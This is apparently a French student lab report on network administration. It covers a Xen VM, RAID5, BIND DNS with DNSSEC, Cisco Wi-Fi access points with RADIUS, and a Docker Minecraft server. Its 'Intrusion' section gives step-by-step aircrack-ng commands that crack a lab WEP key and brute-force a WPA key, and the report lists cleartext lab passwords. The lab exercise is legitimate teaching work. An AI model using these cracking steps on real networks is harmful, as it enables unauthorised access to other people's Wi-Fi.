TP sysres SE2a5 2022/2023 G1
Plan d’adressage
Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4/IPv6 6509E (E304) | IPv4/IPv6 C9200 (E306) | IPv4/IPv6 ISR4331 | SSID | VM | @IPv4 MV non routée | @IPv4 MV routée | Nom de domaine ! |
---|---|---|---|---|---|---|---|---|---|---|---|---|
Antonin / Hugo | 20 | 10.20.0.0/16 | - | 10.20.0.250 | 10.20.0.251 | 10.20.0.252 | 10.20.0.253 | - | HG | 172.26.145.76/24 | 193.48.57.163/28 | detestable.site |
Machine Virtuelle
Création de la VM
Pour créer la VM nous avons besoin de nous connecter sur Capbreton qui est le serveur qui va "heberger" notre VM xen
ssh root@capbreton.plil.info
On crée ensuite notre vm avec :
xen-create-image --hostname=HG --gateway=193.48.57.175 --ip=193.48.57.163 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
Pour acceder à la console de notre vm il faut modifier le fichier de configuration de notre VM (/etc/xen/HG.cfg) en y rajoutant :
vif=['mac=00:16:3E:82:3E:78,bridge=IMA2a5' ]
On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :
lvcreate -L10G -n HG-home storage lvcreate -L10G -n HG-var storage
Dans /etc/xen/HG.cfg :
# Disk device(s). # root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/HG/disk.img,xvda2,w', 'file:/usr/local/xen/domains/HG/swap.img,xvda1,w', 'phy:/dev/storage/HG-home,xvdb1,w', 'phy:/dev/storage/HG-var,xvdc1,w', ]
Pour demarrer notre VM nous utilisons :
xen create /etc/xen/HG.cfg -c
Le -c sert a se connecter directement
Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:
/dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2
On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:
mkfs.ext4 /dev/xdva3
Sécurisation des données - RAID5
On sécurise nos données à l'aide de RAID5
Installer les paquets nécessaires sur la VM et capbreton :
apt install mdadm
Créer les partitions virtuelles pour le RAID :
lvcreate -L1G -n detestable-raid-1 virtual lvcreate -L1G -n detestable-raid-2 virtual lvcreate -L1G -n detestable-raid-3 virtual
Dans /etc/xen/HG.cfg :
# Disk device(s). # root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/HG/disk.img,xvda2,w', 'file:/usr/local/xen/domains/HG/swap.img,xvda1,w', 'phy:/dev/storage/HG-home,xvdb1,w', 'phy:/dev/storage/HG-var,xvdc1,w', 'phy:/dev/virtual/detestable-raid-1,xvdd1,w', 'phy:/dev/virtual/detestable-raid-2,xvdd2,w', 'phy:/dev/virtual/detestable-raid-3,xvdd3,w' ]
On redémarre la VM :
xen create /etc/xen/HG.cfg -c
Créer le RAID5 à l’aide de la commande mdadm :
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3
Formater la partition RAID5 :
mkfs.ext4 /dev/md0
Ajout de la partition au fichier /etc/fstab :
/dev/md0 /media/raid ext4 defaults 0 1
On recharge les partitions afin de prendre en compte le RAID :
mount -a
Vérification
Serveur DNS
DNS
Dans un premier temps, on utilise le registrar Gandi afin de réserver le nom de domaine detestable.site
.
Une fois le nom de domaine réservé, il est alors possible de configurer les serveurs de noms et les Glue Records :
→ Ajouter le Glue Record vers 193.48.57.163
afin d’associer le nom de domaine detestable.site
à l’adresse IP 193.48.57.163
→ Modifier les serveurs de noms pour utiliser ns.detestable.site
et ns6.gandi.net
- Installation du paquet
bind9
apt install bind9
- Modification du fichier
/etc/resolv.conf
:
nameserver 193.48.57.48
- Modification du fichier
/etc/bind/named.conf.local
:
zone "detestable.site" { type master; file "/etc/bind/db.detestable.site"; allow-transfer { 217.70.177.40; }; // ns6.gandi.net };
- Modification du fichier
/etc/bind/named.conf.options
:
options{ directory "/var/cache/bind"; dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 193.48.57.0/24; };
- Créer le fichier BIND pour
detestable.site
:
cp /etc/bind/db.local /etc/bind/db.detestable.site
- Modification du fichier
/etc/bind/db.detestable.site
:
; ; BIND data file for detestable.site ; $TTL 604800 @ IN SOA ns.detestable.site. root.detestable.site. ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns.detestable.site. @ IN NS ns6.gandi.net. @ IN A 193.48.57.163 NS IN A 193.48.57.163 NS IN AAAA 2001:660:4401:60a0:216:3eff:fe82:3e78 WWW IN CNAME NS SSH IN CNAME NS
- Redémarrage du service
bind9
:
service bind9 restart
Tester DNS :
- Modification du fichier
/etc/resolv.conf
nameserver 193.48.57.163
- Vérification de la traduction du nom de domaine
detestable.site
:
nslookup detestable.site
DNSSEC
- Modification du fichier
/etc/bind/named.conf.options
:
dnssec-enable yes; dnssec-validation yes; dnssec-lookaside auto;
- Création du répertoire
detestable.site.dnssec
:
mkdir /etc/bind/detestable.site.dnssec/ cd /etc/bind/detestable.site.dnssec/
- Génération de la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA256 -b 2048 -f KSK -n ZONE detestable.site
mv Kdetestable.site.*.key detestable.site-ksk.key mv Kdetestable.site.*.private detestable.site-ksk.private
- Génération de la clef asymétrique de signature des enregistrements :
dnssec-keygen -a RSASHA256 -b 2048 -n ZONE detestable.site
mv Kdetestable.site.*.key detestable.site-zsk.key mv Kdetestable.site.*.private detestable.site-zsk.private
- Modification du fichier
/etc/bind/db.detestable.site
:
$include "/etc/bind/detestable.site.dnssec/detestable.site-ksk.key" $include "/etc/bind/detestable.site.dnssec/detestable.site-zsk.key"
- Signature des enregistrements de la zone :
dnssec-signzone -o detestable.site -k detestable.site-ksk ../db.detestable.site detestable.site-zsk
- Modification du fichier
/etc/bind/named.conf.local
:
zone "demineur.site" { type master; file "/etc/bind/db.detestable.site.signed"; allow-transfer { 217.70.177.40; }; // ns6.gandi.net };
Il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier detestable.site-ksk.key
) à Gandi.
L’algorithme utilisé est le 8 (RSA/SHA-256).
Tester DNSSEC :
cd /etc/bind/ dnssec-verify -o detestable.site db.detestable.site.signed
service bind9 restart
Vérifier son DNS avec dnsviz.net
Connexion wifi
Point d'accès wifi
Paramètres de minicom
Serial Device : /dev/ttyUSB0
Mode terminal
ap>enable ap#configure terminal
Configuration du nom d’hôte :
ap(config)#hostname SE2A5-AP1
Accès SSH :
SE2A5-AP1(config)#aaa new-model SE2A5-AP1(config)#username admin privilege 15 secret glopglop SE2A5-AP1(config)#ip domain-name plil.info SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048 SE2A5-AP1(config)#ip ssh version 2 SE2A5-AP1(config)#line vty 0 15 SE2A5-AP1(config-line)#transport input ssh SE2A5-AP1(config-line)#exit
Accès console :
SE2A5-AP1(config)#line console 0 SE2A5-AP1(config-line)#password glopglop SE2A5-AP1(config-line)#login authentification default SE2A5-AP1(config-line)#exit
Sécurisation des accès :
SE2A5-AP1(config)#service password-encryption SE2A5-AP1(config)#enable secret glopglop SE2A5-AP1(config)#banner motd #Restricted Access#
VLAN n°20
<SE2A5-AP1(config)#aaa authentication login EAP_toto group RADIUS_toto SE2A5-AP1(config)#radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key glopglop SE2A5-AP1(config)#aaa group server radius RADIUS_toto SE2A5-AP1(config-server)#server 193.48.57.163 auth-port 1812 acct-port 1813 SE2A5-AP1(config-server)#exit SE2A5-AP1(config)#dot11 ssid SE2A5_1 SE2A5-AP1(config-ssid)#vlan 20 SE2A5-AP1(config-ssid)#authentication open eap EAP_toto SE2A5-AP1(config-ssid)#authentication network-eap EAP_toto SE2A5-AP1(config-ssid)#authentication key-management wpa SE2A5-AP1(config-ssid)#exit SE2A5-AP1(config)#interface dot11radio0.20 SE2A5-AP1(config-subif)#encapsulation dot1q 20 SE2A5-AP1(config-subif)#bridge-group 20 SE2A5-AP1(config-subif)#exit SE2A5-AP1(config)#interface g0.20 SE2A5-AP1(config-subif)#encapsulation dot1q 20 SE2A5-AP1(config-subif)#bridge-group 20 SE2A5-AP1(config-subif)#exit SE2A5-AP1(config)#interface dot11radio 0 SE2A5-AP2(config-if)#no shutdown SE2A5-AP1(config-if)#encryption vlan 20 mode ciphers aes-ccm tkip SE2A5-AP1(config-if)#mbssid SE2A5-AP1(config-if)#ssid SE2A5_1 SE2A5-AP1(config-if)#exit
Paramètres de minicom
Serial Device : /dev/ttyACM0
VLAN n°1 :
SE2A5-AP1(config)#interface BVI 1 SE2A5-AP1(config-if)#ip address 10.0.0.10 255.255.255.0 SE2A5-AP1(config-if)#no shutdown SE2A5-AP1(config-if)#exit SE2A5-AP1(config)#ip default-gateway 10.0.0.1
Configuration du serveur RADIUS
Le serveur RADIUS permet l’authentification des utilisateurs qui se connectent aux points d’accès Wifi (WPA-EAP).
- Installer le paquet
freeradius
:
apt install freeradius
- Modifier le fichier
/etc/freeradius/clients.conf
:
client SE2A51 { ipaddr = 10.0.0.10 secret = glopglop } }
- Ajouter un utilisateur en modifiant le fichier
/etc/freeradius/3.0/users
:
pifou Cleartext-Password := "pasglop"
- Modifier le fichier
/etc/freeradius/3.0/mods-enables/eap
:
eap { default_eap_type = peap ... }
- Arrêter le service
freeradius
durant la phase de tests :
service freeradius stop
- Démarrer
freeradius
en mode debug :
freeradius -X
Pendant que freeradius
est en mode debug, tenter de se connecter au réseau Wifi qui a été créé et vérifier que celle-ci est prise en compte.
On peut également voir la connexion de l'appareil sur minicom
Si la connexion est validée alors la configuration est correcte. Dans ce cas, arrêter le programme de debug et réactiver le service.
- Redémarrer le service
freeradius
:
service freeradius start
Intrusion
WEP
Pour casser une clé WEP il nous faut le logiciel Aircrack:
apt-get install aircrack-ng
Il faut tout d'abord se mettre sur la bonne interface ethernet:
airmon-ng start wlan0mon
On se met ensuite en écoute sur ce réseau en indiquant le cryptage (WEP)
airodump-ng --encrypt wep wlan0mon
On recupere ensuite l'ESSID et le BSSID correspondant a notre groupe (Groupe 1)
(Ne pas juger la qualité du photographe)
On s'identifie
aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon
Nous recuperons ensuite les VI que l'on stock dans un fichier qui nous permettera de casser la clé :
airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon
Nous procédons maintenant a la fausse identification:
aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon
Il ne reste plus qu'a lancer le crack de la clé
aircrack-ng -b 04:DA:D2:9C:50:50 output*.cap
Resultat:
WPA
Nous allons utiliser le même logiciel que pour WEP (aircrack)
Pour recuperer la clé WPA, il faut attendre un handshake de krakote01
airodump-ng wlx40a5efd2140c --essid kracotte01 -c 4 -w /tmp/wpa
Une fois le handshake recuperer nous allons generer un dictionvaire de mot de passe (ici une combinaison de 8 chiffres)
crunch 8 8 0123456789 -o password.lst
Il nous reste plus qu'a utiliser aircrack comme ceci
aircrack-ng -w password.lst wpa02.cap
Il faut desormais être patient et attendre 5h40 pour essayer tout le dictionnaire.
Un essaie en subdivisant a été fait mais sans resultat dans le temp imparti
Après 4 heures 1 minutes et 29 seconde nous avons la clé:
66699666
MINECRAFT
Nous allons installer un serveur minecraft sur notre VM
Pour cela nous allons avoir besoin de DOCKER
apt-get install docker
Une fois l'installation faite nous devons prendre une image de serveur minecraft:
docker run -d -it -p 25565:25565 -e EULA=TRUE itzg/minecraft-server
Cette image vient du github: https://github.com/itzg/docker-minecraft-server
Nous mettons le port 25565 car c'est le port utilisé par minecraft
Une fois cela fait nous pouvons visualiser les docker activité
docker ps
Connexion
Pour se connecter il suffit d'avoir un minecraft et de renseigner l'IP du serveur
Le problème avec ce serveur minecraft est sa gourmandise en memoire. En effet, celui-ci plante lorsqu'il y a trop de redstone sur le serveur ou qu'il y a une trop grosse explosion de TNT.
Cela doit être dû (pour la TNT) a un trop gros changement de map et besoin d'affichage qui nécessite trop de mémoire vive.
Pour la redstone, étant donné que nous avons essayé de recréer des portes logique, cela devait trop "consommer"